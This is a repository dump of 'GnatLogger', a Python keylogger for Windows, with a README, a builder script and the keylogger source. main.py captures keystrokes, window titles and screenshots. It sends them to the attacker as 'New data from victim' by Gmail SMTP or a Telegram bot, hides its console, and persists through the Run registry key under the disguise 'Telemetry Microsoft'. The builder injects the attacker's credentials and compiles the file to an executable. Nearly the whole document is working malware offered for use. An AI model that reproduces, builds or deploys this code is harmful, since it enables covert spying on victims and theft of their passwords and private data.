├── README.md ├── gnatlogger.py ├── images └── gnat.png ├── main.py └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | ![Screenshot](https://github.com/UndeadSec/GnatLogger/blob/main/images/gnat.png) 2 | 3 | # GnatLogger 4 | 5 | ### How to install GnatLogger 6 | `git clone https://github.com/UndeadSec/GnatLogger.git` 7 | 8 | `python3 -m venv env` 9 | 10 | Activate environment 11 | 12 | `.\env\Scripts\activate.bat` 13 | 14 | Install requirements 15 | 16 | `pip install -r requirements.txt` 17 | 18 | ### Using GnatLogger 19 | 20 | [CLI] Generate script python with your configs using option email 21 | 22 | `python gnatlogger.py --force -e youremail@gmail.com -p emailpassword -i 30 -to sentoemail@gmail.com --enableemail` 23 | 24 | `--force` Use this option to generate the file without all the necessary arguments. 25 | 26 | [CLI] Generate using option Telegram 27 | 28 | `python gnatlogger.py --force --uid 990911 -k 203040:YOUTOKENXJK$3 --interval 30 --enabletelegram ` 29 | 30 | [Interactive mode] 31 | 32 | Just use `python gnatlogger.py` without `--force` 33 | 34 | You can use the cli parameters for use in interactive mode 35 | 36 | `python gnatlogger.py --uid 990911 -k 203040:YOUTOKENXJK$3 --interval 30` 37 | 38 | Then finish setting the variables in interactive mode 39 | 40 | ### Finally 41 | 42 | Enter on interactive mode and compile the script telemetry.py using option `C`(without debug pyinstaller) or `D`(with debug pyinstaller) 43 | 44 | To debug, comment the line `Hide()` 45 | 46 | @TODO: Compile script to exe using cli 47 | 48 | 49 | ### Usage 50 | 51 | ``` 52 | usage: gnatlogger.py [-h] [-e EMAIL] [-p PASSWORD] [-i INTERVAL] [-t TO] [-d DEBUG] [-u UID] [-k TOKEN] 53 | [--enabletelegram] [--enableemail] [--force] 54 | 55 | Set configs to gerenerate a new file 56 | 57 | options: 58 | -h, --help show this help message and exit 59 | -e EMAIL, --email EMAIL 60 | set a new email 61 | -p PASSWORD, --password PASSWORD 62 | set a new password 63 | -i INTERVAL, --interval INTERVAL 64 | set a new interval 65 | -t TO, --to TO set send to email 66 | -d DEBUG, --debug DEBUG 67 | Enable debug loggs on gnatlogger script, use DEBUG 68 | -u UID, --uid UID uid telegram @myidbot 69 | -k TOKEN, --token TOKEN 70 | token bot telegram 71 | --enabletelegram enable telegram as send form 72 | --enableemail enable email as send form 73 | --force disable interactive and force generate file 74 | ``` 75 | -------------------------------------------------------------------------------- /gnatlogger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import colorama 3 | 4 | RED = colorama.Fore.RED 5 | WHITE = colorama.Fore.WHITE 6 | GREY = colorama.Fore.LIGHTBLACK_EX 7 | 8 | banner = f"""{colorama.Style.BRIGHT} 9 | {GREY} ,, ,, 10 | ((((( ))))) t.me/{WHITE}UndeadSec{GREY} 11 | (((((( )))))) youtube.com/c/{WHITE}UndeadSec{GREY} - BRAZIL 12 | (((((( )))))) v1.0 13 | ((((({WHITE},r@@@@@@@@@@e,{GREY}))))) 14 | ((({WHITE}@@@@@@@@@@@@@@@@{GREY}))) 15 | \{WHITE}@@/{RED},:::,{WHITE}\/{RED},:::,{WHITE}\@@{GREY}/{WHITE} 16 | /@@@|{RED}:::::{WHITE}||{RED}:::::{WHITE}|@@@\\ 17 | / @@@\{RED}':::'{WHITE}/\{RED}':::'{WHITE}/@@@ \\ 18 | / /@@@@@@@//\\@@@@@@@\ \\ 19 | ( / '@@@@@====@@@@@' \ ) 20 | \( / \ )/ 21 | \ ( {RED}GNAT{WHITE} ) / 22 | \ LOGGER / 23 | 24 | {WHITE} 25 | A PYTHON KEYLOGGER by Franklin Timoteo 26 | 27 | """ 28 | 29 | import re 30 | import argparse 31 | import logging 32 | import os 33 | import sys 34 | from time import sleep 35 | import PyInstaller.__main__ 36 | 37 | logger = logging.getLogger(__name__) 38 | 39 | parser = argparse.ArgumentParser(description='Set configs to gerenerate a new file') 40 | parser.add_argument('-e', '--email', help='set a new email') 41 | parser.add_argument('-p', '--password', help='set a new password') 42 | parser.add_argument('-i', '--interval', type=int, default=60, help='set a new interval') 43 | parser.add_argument('-t', '--to', help='set send to email') 44 | parser.add_argument('-d', '--debug', default='ERROR', help='Enable debug loggs, use DEBUG') 45 | parser.add_argument('-u', '--uid', help='uid telegram @myidbot') 46 | parser.add_argument('-k', '--token', help='token bot telegram') 47 | parser.add_argument('--enabletelegram', default=False, action='store_true', help='enable telegram as send form') 48 | parser.add_argument('--enableemail', default=False, action='store_true', help='enable email as send form') 49 | parser.add_argument('--force', default=False, action='store_true',help='disable interactive and force generate file') 50 | 51 | 52 | def _re_replace(pattern, data, newstring): 53 | prog = re.compile(pattern) 54 | newdata = prog.sub(newstring, data, count=1) 55 | return newdata 56 | 57 | def _change_defaults_file(email, password, to, uid, token, interval=60, enabletelegram=True, enableemail=True): 58 | """Search and replace vars values: 59 | EDITWITHYOURGMAIL 60 | EDITWITHYOURGMAILPASSWORD 61 | INTERVALINSECONDS 62 | WHATDOYOUEAMILYOUWANTTOSEND 63 | USER_ID_TELEGRAM 64 | TOKEN 65 | ENABLE_TELEGRAM 66 | ENABLE_EMAIL 67 | """ 68 | _filename = 'main.py' 69 | _filedist = 'telemetry.py' 70 | logger.debug('\nFile default: %s\nFile output: %s' %(_filename, _filedist)) 71 | try: 72 | # @todo: melhorar regex selecionando apenas o valor após o = 73 | with open(_filename, 'r') as default_file: 74 | data = default_file.read() 75 | data = _re_replace(r"yourgmail=.+\n", data, "yourgmail='%s'\n" %email) 76 | data = _re_replace(r"yourgmailpass=.+\n", data, "yourgmailpass='%s'\n" %password) 77 | data = _re_replace(r"sendto=.+\n", data, "sendto='%s'\n" %to) 78 | data = _re_replace(r"interval=.+\n", data, "interval=%s\n" %interval) 79 | data = _re_replace(r"USER_ID_TELEGRAM=.+\n", data, "USER_ID_TELEGRAM=%s\n" %uid) 80 | data = _re_replace(r"TOKEN_BOT=.+\n", data, "TOKEN_BOT='%s'\n" %token) 81 | data = _re_replace(r"ENABLE_TELEGRAM=.+\n", data, "ENABLE_TELEGRAM=%s\n"%enabletelegram) 82 | data = _re_replace(r"ENABLE_EMAIL=.+\n", data, "ENABLE_EMAIL=%s\n"%enableemail) 83 | with open(_filedist, 'w') as distfile: 84 | distfile.write(data) 85 | 86 | except FileNotFoundError: 87 | print('File %s not found' %_filename) 88 | finally: 89 | print('File %s edited with success!' %_filedist) 90 | 91 | def get_new_configs(params): 92 | logger.debug('Setting news configs with params: %s' %params) 93 | _shadow_params = params.copy() 94 | print('Enter to default or type new config.') 95 | for key, value in _shadow_params.items(): 96 | new_value = input('%s [ %s ] > '%(key.title(), value)) or value 97 | _shadow_params[key] = new_value 98 | return _shadow_params 99 | 100 | def menu(args): 101 | logger.debug('Option menu selected') 102 | options_selected = args 103 | params = { 104 | 'email': args.email, 105 | 'password': args.password, 106 | 'to': args.to, 107 | 'uid': args.uid, 108 | 'token': args.token, 109 | 'interval': args.interval, 110 | 'enabletelegram': args.enabletelegram, 111 | 'enableemail': args.enableemail 112 | } 113 | 114 | try: 115 | while True: 116 | os.system('clear') 117 | sys.stdout.write(banner) 118 | print('Params loaded: ') 119 | for key,value in params.items(): 120 | print('- %s : %s' %(key,value)) 121 | print(f'\n{RED}[{WHITE}S{RED}]{WHITE} Set new configs {RED}[{WHITE}K{RED}]{WHITE} Generate file with new configs \n{RED}[{WHITE}C{RED}]{WHITE} Compile to exe {RED}[{WHITE}D{RED}]{WHITE} Compile to exe with debug pyinstaller \n{RED}[{WHITE}Q{RED}]{WHITE} Quit') 122 | user_choice = input(f"\n{RED}Gnat{WHITE}-> ") 123 | if user_choice.upper() == 'S': 124 | sys.stdout.write('Setting new configs: ') 125 | new_params = get_new_configs(params) 126 | params.update(new_params) 127 | 128 | elif user_choice.upper() == 'K': 129 | _change_defaults_file(**params) 130 | sleep(3) # @question: clean exec and we not see result from change_defaults 131 | elif user_choice.upper() == 'C': 132 | PyInstaller.__main__.run([ 133 | 'telemetry.py', 134 | '--onefile', 135 | ]) 136 | elif user_choice.upper() == 'D': 137 | "Compile com debug pyinstaller" 138 | PyInstaller.__main__.run([ 139 | 'telemetry.py', 140 | '--onefile', 141 | '-d', 142 | 'all' 143 | ]) 144 | elif user_choice.upper() == 'Q': 145 | raise KeyboardInterrupt 146 | else: 147 | sys.stdout.write('Select an option or press CTRL+C or Q to quit') 148 | 149 | 150 | except KeyboardInterrupt: 151 | os.system('clear') 152 | exit() 153 | 154 | if __name__ == '__main__': 155 | args = parser.parse_args() 156 | email, password, interval, to = args.email, args.password, args.interval, args.to 157 | uid, token, enabletelegram, enableemail = args.uid, args.token, args.enabletelegram, args.enableemail 158 | fmt = "[%(levelname)s] %(funcName)s %(message)s" 159 | logging.basicConfig(format=fmt, encoding='utf-8', level=args.debug) 160 | logger.debug('Using args: %s' %args) 161 | logger.debug('Force generate file: %s' %args.force) 162 | 163 | if all([email, password, interval, to, uid, token, enabletelegram, enableemail]) or args.force: 164 | _change_defaults_file(email, password, to, uid, token, interval, enabletelegram, enableemail) 165 | else: 166 | menu(args) 167 | 168 | -------------------------------------------------------------------------------- /images/gnat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UndeadSec/GnatLogger/9f774ccf506cca384781bf954b6fc3095f58dae0/images/gnat.png -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #########Settings#######jj# 2 | 3 | import sys 4 | import keyboard 5 | import win32api,pythoncom 6 | import win32console 7 | import win32gui 8 | import telebot 9 | import os,time,random,smtplib,string,base64 10 | from winreg import * 11 | from email.message import EmailMessage 12 | # Create the container email message. 13 | msg = EmailMessage() 14 | 15 | global t,start_time,pics_names,yourgmail,yourgmailpass,sendto,interval 16 | 17 | t="" 18 | pics_names=[] 19 | 20 | #########Settings######## 21 | 22 | yourgmail="EDITWITHYOURGMAIL" 23 | yourgmailpass="EDITWITHYOURGMAILPASSWORD" 24 | sendto="WHATDOYOUEAMILYOUWANTTOSEND" 25 | interval=INTERVALINSECONDS 26 | USER_ID_TELEGRAM=EDITWITHYOURUSERID 27 | TOKEN_BOT="EDITWITHYOURTOKENBOT" 28 | ENABLE_TELEGRAM=WISHENABLETELEGRAM 29 | ENABLE_EMAIL=WISHENABLEEMAIL 30 | 31 | ######################## 32 | 33 | recently_active_windows = set() 34 | bot = telebot.AsyncTeleBot(TOKEN_BOT) 35 | 36 | try: 37 | f = open('Logfile.txt', 'a') 38 | f.close() 39 | except: 40 | f = open('Logfile.txt', 'w') 41 | f.close() 42 | 43 | def addStartup(): # this will add the file to the startup registry key 44 | fp = os.path.dirname(os.path.realpath(__file__)) 45 | file_name = sys.argv[0].split('\\')[-1] 46 | new_file_path = fp + '\\' + file_name 47 | keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run' 48 | key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS) 49 | SetValueEx(key2change, 'Telemetry Microsoft', 0, REG_SZ, 50 | new_file_path) 51 | 52 | def Hide(): 53 | import win32console 54 | import win32gui 55 | win = win32console.GetConsoleWindow() 56 | win32gui.ShowWindow(win, 0) 57 | 58 | 59 | def ScreenShot(): 60 | global pics_names 61 | import pyautogui 62 | def generate_name(): 63 | return ''.join(random.choice(string.ascii_uppercase 64 | + string.digits) for _ in range(7)) 65 | name = str(generate_name()) 66 | pics_names.append(name+'.png') 67 | pyautogui.screenshot(name + '.png') 68 | 69 | def Get_recently_active_windows(): 70 | recently_windows = b'' 71 | for w in recently_active_windows: 72 | recently_windows += b' \n' + w.encode('utf-8') 73 | recently_windows = b'\n\nRecently active windows: ' + recently_windows 74 | return recently_windows 75 | 76 | def Mail_it(data, pics_names): 77 | recently_windows = Get_recently_active_windows() 78 | data = data.encode('utf-8') + recently_windows 79 | data = b'New data from victim\n' + data 80 | server = smtplib.SMTP('smtp.gmail.com:587') 81 | server.starttls() 82 | server.login(yourgmail, yourgmailpass) 83 | server.sendmail(yourgmail, sendto, data) 84 | server.close() 85 | 86 | for pic in pics_names: 87 | with open(pic, 'rb') as fp: 88 | img_data = fp.read() 89 | msg.add_attachment(img_data, maintype='image', subtype='png') 90 | server = smtplib.SMTP('smtp.gmail.com:587') 91 | server.starttls() 92 | server.login(yourgmail, yourgmailpass) 93 | server.sendmail(yourgmail, sendto, data) 94 | server.sendmail(yourgmail, sendto, img_data) 95 | server.close() 96 | 97 | def Telegram_it(data, pics_names): 98 | recently_windows = Get_recently_active_windows() 99 | data = data.encode('utf-8') + recently_windows 100 | data = b'New data from victim\n' + data 101 | bot.send_message(USER_ID_TELEGRAM, data) 102 | 103 | for pic in pics_names: 104 | with open(pic, 'rb') as fp: 105 | img_data = fp.read() 106 | bot.send_photo(USER_ID_TELEGRAM, img_data) 107 | 108 | def OnKeyboardEvent(event): 109 | global yourgmail, yourgmailpass, sendto, interval, recently_active_windows 110 | 111 | active_window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) 112 | recently_active_windows.add(active_window) 113 | 114 | data = event.name 115 | global t, start_time 116 | t = t + data 117 | 118 | if len(t) > 500: 119 | ScreenShot() 120 | f = open('Logfile.txt', 'a') 121 | f.write(t) 122 | f.close() 123 | t = '' 124 | 125 | if int(time.time() - start_time) >= int(interval): 126 | ScreenShot() 127 | if ENABLE_EMAIL: 128 | Mail_it(t, pics_names) 129 | if ENABLE_TELEGRAM: 130 | Telegram_it(t, pics_names) 131 | t = '' 132 | 133 | 134 | addStartup() 135 | Hide() 136 | keyboard.hook(OnKeyboardEvent, suppress=True) 137 | start_time = time.time() 138 | pythoncom.PumpMessages() 139 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | altgraph==0.17.2 2 | certifi==2021.10.8 3 | charset-normalizer==2.0.7 4 | colorama==0.4.4 5 | future==0.18.2 6 | idna==3.3 7 | keyboard==0.13.5 8 | MouseInfo==0.1.3 9 | pefile==2021.9.3 10 | Pillow==8.4.0 11 | PyAutoGUI==0.9.53 12 | PyGetWindow==0.0.9 13 | pyinstaller==4.6 14 | pyinstaller-hooks-contrib==2021.3 15 | PyMsgBox==1.0.9 16 | pyperclip==1.8.2 17 | PyRect==0.1.4 18 | PyScreeze==0.1.28 19 | pyTelegramBotAPI==4.1.1 20 | pytweening==1.0.4 21 | pywin32==302 22 | pywin32-ctypes==0.2.0 23 | requests==2.26.0 24 | urllib3==1.26.7 25 | --------------------------------------------------------------------------------